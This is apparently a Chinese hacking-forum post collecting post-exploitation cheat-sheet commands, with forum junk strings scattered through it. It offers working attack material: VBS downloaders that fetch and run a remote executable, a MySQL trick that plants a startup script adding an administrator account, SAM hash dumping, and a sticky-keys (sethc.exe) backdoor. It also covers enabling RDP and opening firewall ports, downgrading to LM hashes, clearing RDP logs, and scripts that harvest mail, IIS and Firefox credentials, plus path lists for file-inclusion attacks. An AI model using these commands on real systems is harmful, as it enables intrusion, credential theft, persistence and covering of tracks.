（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
2 D! x2 O/ u5 d+ y+ v4 Z——————————————
3 F! {  @( W; t; z5 r感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
9 t' n; N4 Q$ K# _% F$ f————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
7 P5 ?$ o2 |% Qalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
0 ^. t/ Q0 ]! ?  W. t3 i' O4 G: ?1 `注：
& n2 B6 e  o% b: ]3 E$ L( l关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
* ^3 m5 I$ ^) j. K( @+ S7 u那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

1 @  |8 g/ g5 o! a" S* x% U1 l提权先执行systeminfo
3 g) J- g+ }! Y* otoken 漏洞补丁号 KB956572
2 g& ]% `9 R0 e- R2 d) bChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
: P: M' `0 O; J$ l+ r0 Nfor window：
7 A% m* P: g( K5 t5 j
3 m  a4 F' z$ w  S( M+ s@echo off
; y0 w% Y! g! @( lecho #########system info collection
systeminfo
/ Q. Z* I2 d  ~1 F$ x! Gver
" i5 b7 R9 _6 |9 O( ^5 o/ t7 a- Ghostname
net user
net localgroup
! j! s: |, ]" g* H; L. anet localgroup administrators
net user guest
net user administrator
# a4 x, b5 }# E" @) ?
8 q7 n# s/ N9 M& c9 D' N! Zecho #######at- with   atq#####
# w# Z! Q8 m( H7 e. p, uecho schtask /query
$ S6 u3 }, d* E7 R# }6 l/ O- _
8 J2 E# T& p/ G! o8 ^3 Uecho
& t; B) T! _+ V4 x; F$ hecho ####task-list#############
tasklist /svc
echo
! l. z* o6 T7 C- T8 W: l3 Zecho ####net-work infomation
ipconfig/all
& Y. r3 D' w* {' Vroute print
% z6 L" a. r7 R- Y  u# w) Y! Rarp -a
netstat -anipconfig /displaydns
5 _% U$ g( v% fecho
& X. J3 O% v2 k0 B4 J0 g8 P! Techo #######service############
sc query type= service state= all
echo #######file-##############
& R1 X2 F$ L+ g% g( k4 C8 kcd \
# n. J4 h) Z% s8 J' Vtree -F
for linux：
9 v# Z# t& S: G  Q2 U/ ]
#!/bin/bash
7 ~# _6 t; O2 o9 p- P1 r; C4 p' N
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
2 _  `0 f8 H/ b7 s5 r) hecho #######basic infomation##
6 v, l1 f" c" B' i" D5 gcat /proc/meminfo
5 ?) K6 Y/ w! Y2 Y7 b0 yecho
cat /proc/cpuinfo
echo
" m8 z7 }. r. }( @0 Trpm -qa 2>/dev/null
) _2 y7 Y& {7 R$ [2 b! a######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
! J& }: V$ k) l8 x

echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set

% k2 y5 X3 N" e" i/ H1 {echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
: A7 C" m$ e1 i" B& s/ Chostname
ipconfig -a
& M( D$ G, H4 A0 B7 i5 t3 A( n' ]arp -v
echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list
+ `! Q; J* B7 |' l0 S
% P8 R3 U3 x- Q9 S# W; H' lfor i in {oracle,mysql,tomcat,samba,apache,ftp}
( p) }0 H# Y- b+ b3 kcat /etc/passwd|grep -i $i
: {+ A/ _7 D9 d. a5 O! [  N/ Jdone
% [5 h7 S0 I3 z( E. Y, ~0 o& R& h6 a8 s
' y; Q, a# e9 k7 jlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
; \! ?) Z4 c! [' I9 o" ?sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

1 `2 T: W; l. G# ]  X' K3 v' e###maybe can use "tree /"###
echo ##packing up#########
% q% D& O3 v& M% T$ f0 Btar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
/ l+ `, T3 j) }3 @rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
; e0 V" J) y! X- b* ^: g& g. H——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
5 J' \1 O( F( O, Y               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
$ v3 L- x3 x2 T4 R6 K3 C注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
, K( S2 X7 e) W. S据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
: h/ _3 c% l6 d$ M7 c/ y( Decho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
0 @- `% g3 L0 f4 e% Oecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
5 `, N/ _9 D2 }1 Z5 l  z1 b4 Decho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
1 I0 U/ Y, ~& \' h9 \echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
  s8 d3 M# P$ c; Z2 M" Icftmon.vbs
; J7 B2 f: f, V1 B$ E
' F6 O  k! q5 C0 Q2
On Error Resume Nextim iRemote,iLocal,s1,s2
* L4 K; E( W7 O* x2 g& EiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
4 W+ M% I+ ?" Cs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
: _8 Q% }8 n2 |( i- D/ oSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
  a# q0 ]% R, D  rSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
0 k8 q0 s0 E$ o! G1 K4 YsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
2 s: I8 u1 [. V$ R# W
$ o3 }2 l8 I/ M3 }1 b当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
. _( @% g8 c# ?- J3 A/ e# M——————————————————
$ N- C. [6 }$ ?3 P% C" g5、
" C+ h; c  e& |+ `$ \; }/ J1.查询终端端口
3 P* ]8 k5 b- ?: F$ {& KREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
+ v6 s. E) O: a; cREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
( K  j% L1 \8 l# X& G4 b) r3 Ainsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
# M9 x% X+ i, x5 T7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
$ G0 S/ f# r8 d) ^4 Q_____
8、for /d %i in (d:\freehost\*) do @echo %i

, f+ J& ?; X5 n, W; c列出d的所有目录
  ^% F' w- W) I' ~9 S% E9 h& c  
/ K. D: S. V& L* o1 v% a  for /d %i in (???) do @echo %i
0 d3 T4 |" ~9 r. K" x0 B
2 q* _5 l6 Q$ f8 m把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
2 W4 D# K" Z. R8 ]7 G  o3 M% r以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
8 z" b5 H% M: x+ F+ z" E' T7 w7 Q
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

+ V# P# V* G7 v2 i1 M. y3.for /f %i in (c:\1.txt) do echo %i
  
7 ^, c* A$ p; ]6 F! Q/ W  M; w  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
& ]5 M/ O9 }8 r- A7 c●注册表:
1.Administrator注册表备份:
+ _" i! D: w( |2 f3 P, ~reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
; X" J. T4 [" S7 m( u
0 j1 o& c! {9 Z% N2.修改3389的默认端口:
% s" Q( g- |: M: `  RHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
( e* W0 Q+ c4 r) o' c修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
- n3 g' H9 F+ @  m$ E  v
4.Radmin密码:
" ^2 C! d& s4 g, a% |: Treg export HKLM\SYSTEM\RAdmin c:\a.reg

% h+ ~; [8 `& ^& s( S5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
% c4 C2 [0 E/ n
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
( O% v/ ?' L1 o! B3 qnetsh ipsec static set policy name="myipsec" assign=n
/ \% ]1 F/ y9 p
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
2 m# X: I' {3 Y0 K. u
0 x  p& U, z+ U$ W- K9.另类方法抓系统密码HASH
" [' k8 b! E9 }  v9 creg save hklm\sam c:\sam.hive
; O  E- s) i& [5 p! Y% greg save hklm\system c:\system.hive
% p9 P8 V/ d3 h- dreg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
$ v' R2 l1 A! x9 @
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
1 _) l. }9 Q/ h-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
! t% C/ @1 u( hFor Each obj3w In objservice
3 V0 f7 {0 h. g% w0 w0 @4 N  r$ jchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
9 Y$ d3 X, h0 L: wset IIs=objservice.GetObject("IIsWebServer",childObjectName)
" C! B% ^' {5 K( x  Z% {if err.number<>0 then
3 ^: v5 U9 V' sexit for
4 Q0 B* @, _% [* P# Fmsgbox("error!")
0 k2 f" T5 f% n9 p8 h% S1 X( V: Vwscript.quit
. `# g3 Z7 {) V: }/ bend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
: h( M6 q! A- v' u) ^* m" m$ _& ^set IISweb=iis.getobject("IIsWebVirtualDir","Root")
5 z3 y/ F' F* P. r7 p7 @user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
' D8 |& B/ d' B' Z& H6 Cend if
Next
7 L/ G% w& L; ?" Bwscript.echo list
Set ObjService=Nothing
7 B7 |$ _( |" u  \* X) Cwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
" u. u5 L# S2 M# n. }WScript.Quit
复制代码
$ ~2 t( `0 ~6 O" e----------------------2011新气象，欢迎各位补充、指正、优化。----------------
8 {. u1 a) o4 V. L' X  k1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
7 x: [6 K5 S' A) i) i4 _+ [4 o& U将folder.htt文件，加入以下代码：
. G# i- i) {" J- k8 P<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
' }4 N3 h$ T  h* `. b' @4 O4 B</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
8 j5 g  {9 c* B0 d. zasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
& Z. Y  K. v% G  c) D2 r 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
+ Y) ]3 Y8 w/ s: B' t8 ] path_info可以直接呈现虚拟路径 顺利解析gif大马
1 f, _  d& B# V) [7 u
==============================================================
5 j" X1 Z% [7 V8 R5 h/ aLINUX常见路径：
/ M, Q- D2 V4 C% C) P- ~( f
. L3 E% u$ Q4 K/etc/passwd
4 u; W% y8 B! w* }8 i! O/etc/shadow
; o; M/ a# V8 e/ i- U# {5 u/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
" R; ?/ y. q# F/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
1 {1 f* N* |; q* `/var/www/index.html
/var/www/index.php
) Q. X) g( G6 h( y* S/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
: P: c) Y5 @6 e/usr/local/apache2/htdocs/index.html
4 Y  u- q, r3 T$ q1 ?/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
& q; {# H% s/ `* _/ _/etc/httpd/htdocs/index.html
) B# c. s) v7 l4 e# G9 l/www/php/php.ini
3 P  K& {. u$ ~7 Y# P' w4 U/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
. E+ j/ b- C2 W: b4 O8 F6 A" n/etc/apache/apache.conf
/etc/apache2/apache.conf
7 V% s* ~7 r$ c4 i& \' b/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
" V/ R* j$ C9 O/etc/apache2/sites-available/default
% o! H& ~/ o; `% }* G/etc/phpmyadmin/config.inc.php
% k3 ^6 b9 x6 z) t/etc/mysql/my.cnf
0 a: ?8 f7 h3 g# Q/ W' a/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
0 w+ f0 ~5 r, }  r/etc/httpd/logs/error.log
% W  l" h7 j2 C% T) }/etc/httpd/logs/access_log
; a( @2 p. p) k9 x9 j1 F/etc/httpd/logs/access.log
' u9 j9 G( M9 Y5 {2 r. ^) t! @" `/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
6 n! Z6 X2 O- i/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
! ?% O( i/ K$ }* |/ ~: ~3 V/var/log/apache2/error_log
% Z) ?  E, l+ b4 s. v: Q. D. D3 B/var/log/apache2/error.log
6 l/ D5 w; ?* p/ b( ~/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
1 e, L: i' v' f$ |! n/var/www/logs/access_log
/ w  C' A7 \  N9 ?/var/www/logs/access.log
1 J9 N/ o; Z0 W4 X( }; [8 o/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/ w! E* E; W& r4 m" C( T/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/ X/ T( e7 Z! O# S: I/var/log/error_log
) d& \2 r& }5 f+ ~& M2 s' ~; U0 v2 e/var/log/error.log
/var/log/access_log
5 n% X- P+ Z- L  [/var/log/access.log
- a+ t; F! _& `! w! j1 r6 F( L1 L/usr/local/apache/logs/access_logaccess_log.old
- A' @1 a* b- p( Y7 ]  `/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
' f" m" x& j4 F1 b! E. `4 ^/etc/init.d/httpd
8 L; E% L, |: N, Z; C. X/etc/init.d/mysql
6 Z/ G3 h% {0 V. k" R& \% m9 r& R/etc/httpd/php.ini
. b7 P3 W+ k( i3 Z/usr/lib/php.ini
, S, L1 h! C' ^& x( c/usr/lib/php/php.ini
/usr/local/etc/php.ini
. L0 X; I8 H2 b: L+ b/usr/local/lib/php.ini
0 L9 F$ I" Y8 B. J2 h! h8 N/usr/local/php/lib/php.ini
% O- v  s! U2 t1 F/usr/local/php4/lib/php.ini
! I( C; s* \. ?: y/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
. p) J1 l3 W" y/usr/local/php5/lib/php.ini
! g- v& F, r3 g- U% Q/usr/local/php5/etc/php.ini
6 h8 f8 `5 ~9 c" h1 N/usr/local/php5/php5.ini
5 w+ h: Q4 k4 A6 s. z7 F1 d/usr/local/apache/conf/php.ini
) G! d  r3 M! A- d/ a, u3 c0 ]/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
0 F5 v+ q1 }( u2 m3 z/usr/local/apache2/conf/php.ini
6 D, j) Z! O, s2 P: @' {, p, v/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
2 V- ~" \# N$ R) e8 H) K  f: S9 H/etc/php4/apache2/php.ini
+ Z8 Y, _) g/ P6 W9 ^/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
! i1 F( G, o9 o/etc/php/php.ini
/ @5 A" r6 D: {+ \, L( m/ z3 a/etc/php/php4/php.ini
  o! I: |7 \2 |8 O  e/etc/php/apache/php.ini
8 I' X) S. E  X: m/ r  t5 I8 `/etc/php/apache2/php.ini
/web/conf/php.ini
6 C: O2 L  h  ]' ?- n/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
! S6 D. w5 m1 C) e7 p/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
& T, z7 n  g$ _$ m5 O* l0 V/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
* G; v* Z0 h- O2 S( H4 E/apache/php/php.ini
3 R* I9 J$ U9 p% F3 T/xampp/apache/bin/php.ini
$ k! v" l6 B/ ]/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
6 F5 v& J: `5 o' j5 q/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
. M$ u$ `  P- w1 ?) E& b& ]+ O/var/log/mysql/mysql-bin.log
/var/log/mysql.log
# g6 G! y$ }7 V& [$ T7 E3 W; ^/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
1 w( u; B! ~1 `0 b4 Z+ |6 t/var/mysql.log
/var/lib/mysql/my.cnf
* \) S$ A; _7 l8 e! E/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
3 Q1 E8 n+ p1 b+ l. E* q- _! m* }/usr/local/cpanel/logs
$ ~) ~+ {  |" [( {- q5 g! D/usr/local/cpanel/logs/stats_log
1 B! m. H+ Z* ^0 c# f& h4 r/usr/local/cpanel/logs/access_log
  {0 I. C1 t9 g7 U- i/ V% W( I/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
. Z* v( U3 k7 l3 {/usr/local/cpanel/logs/login_log
+ V3 U$ R0 g1 c( n/usr/local/cpanel/logs/stats_log
) |6 U+ B( `/ ^" Q/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
$ @( |0 R& ~' b
c:\windows\php.ini
2 J8 h0 J$ d' V0 d7 k. k5 n8 Gc:\boot.ini
c:\1.txt
- ?& l0 k4 G9 |  h+ [7 u! U' Pc:\a.txt
, ^) M6 M  e8 o
" I6 @0 s9 [, ^3 `, i, V9 X3 v2 @- ec:\CMailServer\config.ini
8 K! |/ r5 g7 }( Uc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
. h7 H4 l/ {4 s' b2 ^6 F8 q* Dc:\program files\CMailServer\CMailServer.exe
/ B- U6 Y3 ?& S( `' Mc:\program files\CMailServer\WebMail\index.asp
- V7 Q3 h1 J) k- M5 MC:\WinWebMail\SysInfo.ini
' V! @% ]& q4 ?7 cC:\WinWebMail\Web\default.asp
0 y2 }% |4 V3 x. A% _$ ~C:\WINDOWS\FreeHost32.dll
1 e' E* D, ~* a* q, NC:\WINDOWS\7i24iislog4.exe
  h. w3 b: n2 {7 _C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
8 X8 H6 J, l6 X/ D8 w) r
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
9 ~, W7 s) _6 j- z
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
& Z" A4 B) v9 w1 H* r9 M6 I' Y' ]c:\web\index.html
c:\www\index.html
8 o9 w) P8 |) A: I* `c:\WWWROOT\index.html
0 o+ t) F1 i+ K9 u( F  P- bc:\website\index.html
c:\web\index.asp
c:\www\index.asp
) J( v# g# T. O( Y" pc:\wwwsite\index.asp
c:\WWWROOT\index.asp
) E. ~- v* D4 ^c:\web\index.php
! }' f& [' i/ D) X5 T# rc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
. `" e- q; i7 A3 D  s8 ec:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
; r( F: u  R/ [* k+ y2 s; Z; F( Oc:\website\default.html
c:\web\default.asp
! B4 c+ }/ f3 f! t- u9 z5 ec:\www\default.asp
- w! |5 J/ {! ?* Bc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
, _$ W3 w) R6 W8 Cc:\WWWROOT\default.php
c:\WWWsite\default.php
, w7 \$ f5 W2 X! o- A: z1 G* }C:\Inetpub\wwwroot\pagerror.gif
- a' u- m8 Y4 }% o; [: `; }c:\windows\notepad.exe
c:\winnt\notepad.exe
* X, ~& M0 A+ F  ^1 W% C8 IC:\Program Files\Microsoft Office\OFFICE10\winword.exe
, w( y8 k8 L. d, ?C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
% D8 c, o+ d0 LC:\Program Files\Internet Explorer\IEXPLORE.EXE
0 V  @: M3 A- O$ X, T1 w$ {C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
& m! i% b5 y! k, A( t0 f- ]" Sc:\ravbin\store.ini
c:\rising.ini
, k! c$ z/ z+ ?C:\Program Files\Rising\Rav\RsTask.xml
. H" d  I. ?' b5 S6 _C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
* s; x. k' s1 N8 v. |" U& zC:\Documents and Settings\Administrator\My Documents\1.txt
- \8 j! p' D8 l* qC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
5 Y8 k/ p. w; B7 j1 Z% v9 SC:\Documents and Settings\Administrator\桌面\a.txt
9 ]0 H7 T0 j; W3 qC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
6 R. {: f+ H' f& I( `C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
" F2 J0 v4 y1 M% d3 t3 cC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
7 d1 z) {4 x+ T1 D' c& _, B4 zC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
2 s7 a* X& k1 w( CC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
) t* W# d' Z' G1 `: a) zC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
9 W8 L3 m: ?' ~$ n. Q) R6 I5 Q+ dc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
6 a3 F) w& M6 R4 {  w* v+ G9 IC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
8 v8 M' d& p  _# NC:\WINDOWS\system32\inetsrv\inetinfo.exe
' g$ i7 J; w" q8 F  R1 YC:\WINDOWS\system32\inetsrv\MetaBase.xml
4 x7 {3 S7 S8 N' K; e3 D) q. X8 |C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
$ w! _2 c! I- S) iC:\WINDOWS\system32\config\default.LOG
+ p; I) j6 ^% s  pC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
4 ?& s8 d2 r1 Ic:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
0 k7 m# d1 v9 d+ B7 ]4 P, UC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
; }5 E" y! N* y4 y' c- u" @7 z* L, Cc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
. H& g9 P: X* S0 O8 c* H6 B1 ^c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
) x! {& x$ @- c7 r) oC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
( Y/ q1 a5 n6 }2 F/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
; p0 ~. K9 M  n$ h, Ec:\Program Files\Tencent\qq\User.db
: M4 k8 n* H2 ]9 u- j2 \( D: a  ^c:\Program Files\Tencent\qq\qq.exe
